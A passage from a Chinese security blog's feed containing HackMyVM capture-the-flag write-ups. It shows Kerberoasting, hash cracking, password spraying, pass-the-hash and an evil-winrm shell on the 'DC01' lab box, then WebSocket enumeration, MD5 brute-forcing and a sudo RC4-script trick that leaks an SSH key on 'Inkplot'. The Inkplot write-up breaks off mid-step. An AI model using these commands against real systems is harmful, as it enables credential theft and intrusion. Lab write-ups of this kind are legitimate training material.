&lt;td&gt;为什么普通用户能请求 TGS&lt;/td&gt;
&lt;td&gt;Kerberos 允许任何用户请求访问服务票据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;为什么能拿到服务账号 hash&lt;/td&gt;
&lt;td&gt;TGS 返回的票据用服务账号密码加密，可以离线破解&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;为什么普通用户密码没泄露&lt;/td&gt;
&lt;td&gt;普通用户通常没有 SPN，无法生成 TGS hash&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request | grep &amp;#39;\$krb5tgs&amp;#39; &amp;gt; hash.txt

┌──(root㉿kali)-[/home/kali]
└─# john --wordlist=Desktop/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 62.62% (ETA: 13:37:24) 0g/s 818641p/s 4093Kc/s 4093KC/s coconut24..cococy
Password123!!    (?)     
1g 0:00:00:16 DONE (2025-08-20 13:37) 0.05903g/s 846738p/s 4020Kc/s 4020KC/s !!12Honey..*7¡Vamos!
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali]
└─# john --show hash.txt                                         
?:Password123!!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;密码喷洒&lt;/h1&gt;
&lt;p&gt; 得到密码后进行密码喷洒，看密码属于哪些个用户  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# crackmapexec smb 10.0.91.3 -u user.txt -p &amp;#39;Password123!!&amp;#39; --continue-on-success | grep + 
SMB                      10.0.91.3       445    DC01             [+] SOUPEDECODE.LOCAL\file_svc:Password123!! 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SMB信息收集&lt;/h3&gt;
&lt;p&gt;获得新用户后再通过SMB获得信息&lt;/p&gt;
&lt;p&gt;经过测试，最后发现&lt;code&gt;backup&lt;/code&gt;文件夹该用户有权限，并获得文件 &lt;code&gt;backup_extract.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.0.91.3/backup -U SOUPEDEODE.LOCAL/file_svc%&amp;#39;Password123!!&amp;#39; 
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                   D        0  Mon Jun 17 13:41:17 2024
  ..                                 DR        0  Mon Jun 17 13:44:56 2024
  backup_extract.txt                  A      892  Mon Jun 17 04:41:05 2024

                12942591 blocks of size 4096. 10875720 blocks available
smb: \&amp;gt; get backup_extract.txt 
getting file \backup_extract.txt of size 892 as backup_extract.txt (62.2 KiloBytes/sec) (average 62.2 KiloBytes/sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# cat backup_extract.txt                                                                  
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;┌──(root㉿kali)-[/home/kali]&lt;br/&gt;└─# awk -F &amp;#39;[:]&amp;#39; &amp;#39;{print $1}&amp;#39; backup_extract.txt &amp;gt; username.txt&lt;br/&gt;&lt;br/&gt;┌──(root㉿kali)-[/home/kali]&lt;br/&gt;└─# awk -F &amp;#39;[:]&amp;#39; &amp;#39;{print $4}&amp;#39; backup_extract.txt &amp;gt; passwd.txt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;可以通过NTLMhash进行横向移动&lt;/p&gt;
&lt;p&gt; nxc smb 10.0.91.3 -u username.txt -H hash.txt  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;┌──(root㉿kali)-[/home/kali]&lt;/p&gt;
&lt;p&gt;└─# nxc smb 10.0.91.3 -u username.txt -H passwd.txt&lt;/p&gt;
&lt;p&gt;SMB         10.0.91.3       445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)                                                                    &lt;/p&gt;
&lt;p&gt;SMB         10.0.91.3       445    DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;利用smbclient和psexec失败&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FileServer$ 是服务账号&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;通常只对文件服务器相关资源有权限&lt;/li&gt;
&lt;li&gt;默认没有 &lt;strong&gt;管理员权限&lt;/strong&gt;，无法在远程主机创建服务或执行进程&lt;/li&gt;
&lt;li&gt;&lt;code&gt;psexec&lt;/code&gt; 需要在目标机器上创建临时服务，因此需要管理员权限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标主机不是 FileServer$ 的管理范围&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;CME 输出显示 FileServer$ 能访问 SMB 共享，但不代表能执行远程命令&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# crackmapexec smb 10.0.91.3 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559 --shares        
SMB         10.0.91.3       445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         10.0.91.3       445    DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
SMB         10.0.91.3       445    DC01             [+] Enumerated shares
SMB         10.0.91.3       445    DC01             Share           Permissions     Remark
SMB         10.0.91.3       445    DC01             -----           -----------     ------
SMB         10.0.91.3       445    DC01             ADMIN$          READ,WRITE      Remote Admin
SMB         10.0.91.3       445    DC01             backup                          
SMB         10.0.91.3       445    DC01             C$              READ,WRITE      Default share
SMB         10.0.91.3       445    DC01             IPC$            READ            Remote IPC
SMB         10.0.91.3       445    DC01             NETLOGON        READ,WRITE      Logon server share 
SMB         10.0.91.3       445    DC01             SYSVOL          READ            Logon server share 
SMB         10.0.91.3       445    DC01             Users       
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Getshell&lt;/h1&gt;
&lt;p&gt;远程端口 WinRM  5985开放&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WinRM 是 Windows 的 &lt;strong&gt;远程管理服务&lt;/strong&gt;，本质上是一个 &lt;strong&gt;基于 HTTP/HTTPS 的远程 PowerShell 通道&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;默认监听端口：&lt;/li&gt;
&lt;li&gt;HTTP：5985&lt;/li&gt;
&lt;li&gt;HTTPS：5986&lt;/li&gt;
&lt;li&gt;允许远程执行 PowerShell 命令&lt;/li&gt;
&lt;li&gt;支持多种身份验证方式：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kerberos&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NTLM&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;明文密码&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;evil-winrm -i 10.0.91.3 -u &amp;#39;FileServer$&amp;#39; -H &amp;#39;e41da7e79a4c76dbd9cf79d1cb325559&amp;#39;

*Evil-WinRM* PS C:\Users\Administrator\Desktop&amp;gt; type root.txt
a9564ebc3289b7a14551baf8ad5ec60a
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/dc01/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/dc01/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 19 Aug 2025 00:00:00 GMT</pubDate></item><item><title>HMV-Inkplot</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/inkplot/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/inkplot/</guid><description>Enjoy.</description><content:encoded>&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot; | awk &amp;#39;{print $1}&amp;#39;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
10.0.90.216
10.0.90.216
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;侦查&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sT -sV -p- -O 10.0.90.216
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-18 22:17 EDT
Nmap scan report for 10.0.90.216
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
3000/tcp open  ppp?
MAC Address: 08:00:27:F1:97:62 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8, Linux 5.0 - 5.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.53 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# curl -v http://10.0.90.216:3000/
*   Trying 10.0.90.216:3000...
* Connected to 10.0.90.216 (10.0.90.216) port 3000
* using HTTP/1.x
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: 10.0.90.216:3000
&amp;gt; User-Agent: curl/8.14.1
&amp;gt; Accept: */*
&amp;gt; 
* Request completely sent off
&amp;lt; HTTP/1.1 426 Upgrade Required
&amp;lt; Content-Length: 16
&amp;lt; Content-Type: text/plain
&amp;lt; Date: Tue, 19 Aug 2025 02:20:07 GMT
&amp;lt; Connection: keep-alive
&amp;lt; Keep-Alive: timeout=5
&amp;lt; 
* Connection #0 to host 10.0.90.216 left intact
Upgrade Required  
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;漏洞点&lt;/h1&gt;
&lt;p&gt;HTTP/1.1 426 Upgrade Required&lt;/p&gt;
&lt;p&gt; HTTP 状态码 &lt;strong&gt;426&lt;/strong&gt; 表示：客户端（你用的 curl）请求的资源只接受通过更高版本的协议访问，比如 WebSocket (&lt;code&gt;Upgrade: websocket&lt;/code&gt;) 或 HTTP/2 (&lt;code&gt;Upgrade: h2c&lt;/code&gt;)。  &lt;/p&gt;
&lt;p&gt;利用websocat进行连接&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# websocat ws://10.0.90.216:3000/                                                                         

Welcome to our InkPlot secret IRC server
Bob: Alice, ready to knock our naive Leila off her digital pedestal?
Alice: Bob, I&amp;#39;ve been dreaming about this for weeks. Leila has no idea what&amp;#39;s about to hit her.
Bob: Exactly. We&amp;#39;re gonna tear her defense system apart. She won&amp;#39;t see it coming.
Alice: Poor Leila, always so confident. Let&amp;#39;s do this.
Bob: Alice, I&amp;#39;ll need that MD5 hash to finish the job. Got it?
Alice: Yeah, I&amp;#39;ve got it. Time to shake Leila&amp;#39;s world.
Bob: Perfect. Release it.
Alice: Here it goes: d51540...
*Alice has disconnected*
Bob: What?! Damn it, Alice?! Not now!
Leila: clear

欢迎来到 InkPlot 秘密 IRC 服务器

Bob：Alice，准备好把我们天真的 Leila 从她的“数字高台”上拉下来了吗？
Alice：Bob，我已经梦想这件事好几周了。Leila 完全不知道她即将面临什么。
Bob：没错。我们要彻底拆掉她的防御系统。她根本不会预料到。
Alice：可怜的 Leila，总是那么自信。我们开始吧。
Bob：Alice，我需要那个 MD5 哈希来完成任务。拿到了吗？
Alice：嗯，我拿到了。是时候震撼 Leila 的世界了。
Bob：完美。放出它吧。
Alice：给你：d51540...
*Alice 已断开连接*
Bob：什么？！该死的 Alice？！偏偏现在！
Leila：clear
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/bin/bash
flag=&amp;quot;d51540&amp;quot;
 
while read -r word; do
    hash=$(echo &amp;quot;$word&amp;quot; | md5sum | cut -d &amp;quot; &amp;quot; -f 1)
    if [[ $hash == $flag* ]]; then
        echo &amp;quot;[+]I got it! PASS: $word, HASH: $hash&amp;quot;
    fi
done &amp;lt; $1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop]
└─# ./flag.sh wordlists/rockyou.txt
[+]I got it! PASS: palmira, HASH: d515407c6ec25b2a61656a234ddf22bd
[+]I got it! PASS: intelinside, HASH: d51540c4ecaa62b0509f453fee4cd66b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得密码palmira和intelinside&lt;/p&gt;
&lt;p&gt;尝试登录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop]
└─# ssh leila@10.0.90.216
Auto-standby now activated after 2 min of inactivity
leila@10.0.90.216&amp;#39;s password: 
Permission denied, please try again.
leila@10.0.90.216&amp;#39;s password: 
Linux inkplot 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

[oh-my-zsh] Would you like to update? [Y/n] n

╭─leila@inkplot ~ 
╰─$ whoami
leila
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; sudo -l
 sudo: unable to resolve host inkplot: Name or service not known
Matching Defaults entries for leila on inkplot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User leila may run the following commands on inkplot:
    (pauline : pauline) NOPASSWD: /usr/bin/python3 /home/pauline/cipher.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;sudo -l 允许的命令&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;User leila may run the following commands on inkplot:
    (pauline : pauline) NOPASSWD: /usr/bin/python3 /home/pauline/cipher.py
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(pauline : pauline)&lt;/code&gt; → 以 &lt;strong&gt;用户 pauline 和用户组 pauline&lt;/strong&gt; 的身份运行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NOPASSWD&lt;/code&gt; → &lt;strong&gt;不需要密码&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/bin/python3 /home/pauline/cipher.py&lt;/code&gt; → &lt;strong&gt;只能执行这个 Python 脚本&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚡ 总结：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;leila&lt;/code&gt; 不能随便用 &lt;code&gt;sudo&lt;/code&gt; 变成 root&lt;/li&gt;
&lt;li&gt;但可以用 &lt;code&gt;sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py&lt;/code&gt; 来执行 &lt;code&gt;cipher.py&lt;/code&gt;，且 &lt;strong&gt;不需要输入密码&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─leila@inkplot ~ 
╰─$ cat /home/pauline/cipher.py                                                                                                                        1 ↵
import os
import json
import argparse
from Crypto.Cipher import ARC4
import base64

with open(&amp;#39;/home/pauline/keys.json&amp;#39;, &amp;#39;r&amp;#39;) as f:
    keys = json.load(f)

crypt_key = keys[&amp;#39;crypt_key&amp;#39;].encode()

def encrypt_file(filepath, key):
    with open(filepath, &amp;#39;rb&amp;#39;) as f:
        file_content = f.read()

    cipher = ARC4.new(key)
    encrypted_content = cipher.encrypt(file_content)

    encoded_content = base64.b64encode(encrypted_content)

    base_filename = os.path.basename(filepath)

    with open(base_filename + &amp;#39;.enc&amp;#39;, &amp;#39;wb&amp;#39;) as f:
        f.write(encoded_content)

    return base_filename + &amp;#39;.enc&amp;#39;

def decrypt_file(filepath, key):
    with open(filepath, &amp;#39;rb&amp;#39;) as f:
        encrypted_content = f.read()

    decoded_content = base64.b64decode(encrypted_content)

    cipher = ARC4.new(key)
    decrypted_content = cipher.decrypt(decoded_content)

    return decrypted_content

parser = argparse.ArgumentParser(description=&amp;#39;Encrypt or decrypt a file.&amp;#39;)
parser.add_argument(&amp;#39;filepath&amp;#39;, help=&amp;#39;The path to the file to encrypt or decrypt.&amp;#39;)
parser.add_argument(&amp;#39;-e&amp;#39;, &amp;#39;--encrypt&amp;#39;, action=&amp;#39;store_true&amp;#39;, help=&amp;#39;Encrypt the file.&amp;#39;)
parser.add_argument(&amp;#39;-d&amp;#39;, &amp;#39;--decrypt&amp;#39;, action=&amp;#39;store_true&amp;#39;, help=&amp;#39;Decrypt the file.&amp;#39;)

args = parser.parse_args()

if args.encrypt:
    encrypted_filepath = encrypt_file(args.filepath, crypt_key)
    print(&amp;quot;The encrypted and encoded content has been written to: &amp;quot;)
    print(encrypted_filepath)
elif args.decrypt:
    decrypt_key = input(&amp;quot;Please enter the decryption key: &amp;quot;).encode()
    decrypted_content = decrypt_file(args.filepath, decrypt_key)
    print(&amp;quot;The decrypted content is: &amp;quot;)
    print(decrypted_content)
else:
    print(&amp;quot;Please provide an operation type. Use -e to encrypt or -d to decrypt.&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;cipher.py&lt;/h3&gt;
&lt;h4&gt;1️⃣ 导入模块&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import os
import json
import argparse
from Crypto.Cipher import ARC4
import base64
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;os&lt;/code&gt; → 文件路径处理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;json&lt;/code&gt; → 读取 &lt;code&gt;keys.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;argparse&lt;/code&gt; → 命令行参数解析&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Crypto.Cipher.ARC4&lt;/code&gt; → RC4 对称加密算法&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt; → 对加密数据做 Base64 编码/解码&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;2️⃣ 读取密钥&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;with open(&amp;#39;/home/pauline/keys.json&amp;#39;, &amp;#39;r&amp;#39;) as f:
    keys = json.load(f)

crypt_key = keys[&amp;#39;crypt_key&amp;#39;].encode()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;打开 &lt;code&gt;/home/pauline/keys.json&lt;/code&gt;，读取 JSON 格式密钥&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crypt_key&lt;/code&gt; 是 &lt;strong&gt;RC4 的加密密钥&lt;/strong&gt;，并转成 bytes 类型&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;3️⃣ 加密函数&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;def encrypt_file(filepath, key):
    with open(filepath, &amp;#39;rb&amp;#39;) as f:
        file_content = f.read()

    cipher = ARC4.new(key)
    encrypted_content = cipher.encrypt(file_content)

    encoded_content = base64.b64encode(encrypted_content)

    base_filename = os.path.basename(filepath)

    with open(base_filename + &amp;#39;.enc&amp;#39;, &amp;#39;wb&amp;#39;) as f:
        f.write(encoded_content)

    return base_filename + &amp;#39;.enc&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;打开要加密的文件，读取二进制内容&lt;/li&gt;
&lt;li&gt;用 **RC4 + **&lt;code&gt;**key**&lt;/code&gt; 加密&lt;/li&gt;
&lt;li&gt;用 Base64 编码加密后的内容&lt;/li&gt;
&lt;li&gt;保存成 &lt;code&gt;&amp;lt;原文件名&amp;gt;.enc&lt;/code&gt; 文件&lt;/li&gt;
&lt;li&gt;返回加密后的文件名&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;4️⃣ 解密函数&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;def decrypt_file(filepath, key):
    with open(filepath, &amp;#39;rb&amp;#39;) as f:
        encrypted_content = f.read()

    decoded_content = base64.b64decode(encrypted_content)

    cipher = ARC4.new(key)
    decrypted_content = cipher.decrypt(decoded_content)

    return decrypted_content
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;打开加密文件，读取 Base64 编码内容&lt;/li&gt;
&lt;li&gt;解码 Base64 → 得到 RC4 加密内容&lt;/li&gt;
&lt;li&gt;用提供的 &lt;code&gt;key&lt;/code&gt; 做 RC4 解密&lt;/li&gt;
&lt;li&gt;返回解密后的原始内容（bytes 类型）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;5️⃣ 命令行参数解析&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;parser = argparse.ArgumentParser(description=&amp;#39;Encrypt or decrypt a file.&amp;#39;)
parser.add_argument(&amp;#39;filepath&amp;#39;, help=&amp;#39;The path to the file to encrypt or decrypt.&amp;#39;)
parser.add_argument(&amp;#39;-e&amp;#39;, &amp;#39;--encrypt&amp;#39;, action=&amp;#39;store_true&amp;#39;, help=&amp;#39;Encrypt the file.&amp;#39;)
parser.add_argument(&amp;#39;-d&amp;#39;, &amp;#39;--decrypt&amp;#39;, action=&amp;#39;store_true&amp;#39;, help=&amp;#39;Decrypt the file.&amp;#39;)

args = parser.parse_args()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;脚本接受三个参数：&lt;ol&gt;
&lt;li&gt;&lt;code&gt;filepath&lt;/code&gt; → 文件路径&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e&lt;/code&gt; / &lt;code&gt;--encrypt&lt;/code&gt; → 加密操作&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d&lt;/code&gt; / &lt;code&gt;--decrypt&lt;/code&gt; → 解密操作&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;6️⃣ 根据参数执行&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;if args.encrypt:
    encrypted_filepath = encrypt_file(args.filepath, crypt_key)
    print(&amp;quot;The encrypted and encoded content has been written to: &amp;quot;)
    print(encrypted_filepath)
elif args.decrypt:
    decrypt_key = input(&amp;quot;Please enter the decryption key: &amp;quot;).encode()
    decrypted_content = decrypt_file(args.filepath, decrypt_key)
    print(&amp;quot;The decrypted content is: &amp;quot;)
    print(decrypted_content)
else:
    print(&amp;quot;Please provide an operation type. Use -e to encrypt or -d to decrypt.&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;如果加密：&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;encrypt_file()&lt;/code&gt;，用 &lt;code&gt;crypt_key&lt;/code&gt; 加密&lt;/li&gt;
&lt;li&gt;输出生成的 &lt;code&gt;.enc&lt;/code&gt; 文件名&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;如果解密：&lt;ul&gt;
&lt;li&gt;提示用户输入解密密钥&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;decrypt_file()&lt;/code&gt; 解密&lt;/li&gt;
&lt;li&gt;打印解密后的内容（注意是 bytes，需要解码成字符串看）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;否则：&lt;ul&gt;
&lt;li&gt;提示用户必须指定 &lt;code&gt;-e&lt;/code&gt; 或 &lt;code&gt;-d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;⚡ &lt;strong&gt;总结&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个脚本是 &lt;strong&gt;RC4 + Base64 加密/解密工具&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;加密固定用 &lt;code&gt;keys.json&lt;/code&gt; 中的 &lt;code&gt;crypt_key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;解密可以手动输入密钥，也可以用同样的 key&lt;/li&gt;
&lt;li&gt;文件操作都是在当前目录下生成 &lt;code&gt;.enc&lt;/code&gt; 文件或读取解密文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;RC4 - 对称流密码&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;RC4 是 &lt;strong&gt;对称加密算法&lt;/strong&gt;，意味着加密和解密使用 &lt;strong&gt;同一个密钥&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;RC4 是 &lt;strong&gt;流密码（stream cipher）&lt;/strong&gt;，它的核心是把明文逐字节和一个伪随机密钥流做 &lt;strong&gt;XOR 异或运算&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;公式简化：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;密文 = 明文 ⊕ 密钥流
明文 = 密文 ⊕ 密钥流
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ 异或运算的特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;XOR 运算有个规律：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;A ⊕ B ⊕ B = A
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;也就是说，如果你对同一段数据用同一个密钥流 XOR 两次，它会回到原来的值&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;解密id_rsa&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─leila@inkplot /tmp 
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py
usage: cipher.py [-h] [-e] [-d] filepath
cipher.py: error: the following arguments are required: filepath
╭─leila@inkplot /tmp 
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /home/pauline/.ssh/id_rsa                                    
The encrypted and encoded content has been written to: 
id_rsa.enc
╭─leila@inkplot /tmp 
╰─$ cat id_rsa.enc | base64 -d &amp;gt; new_id_rsa.enc
╭─leila@inkplot /tmp 
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e new_id_rsa.enc           
The encrypted and encoded content has been written to: 
new_id_rsa.enc.enc
╭─leila@inkplot /tmp 
╰─$ cat new_id_rsa.enc.enc                     
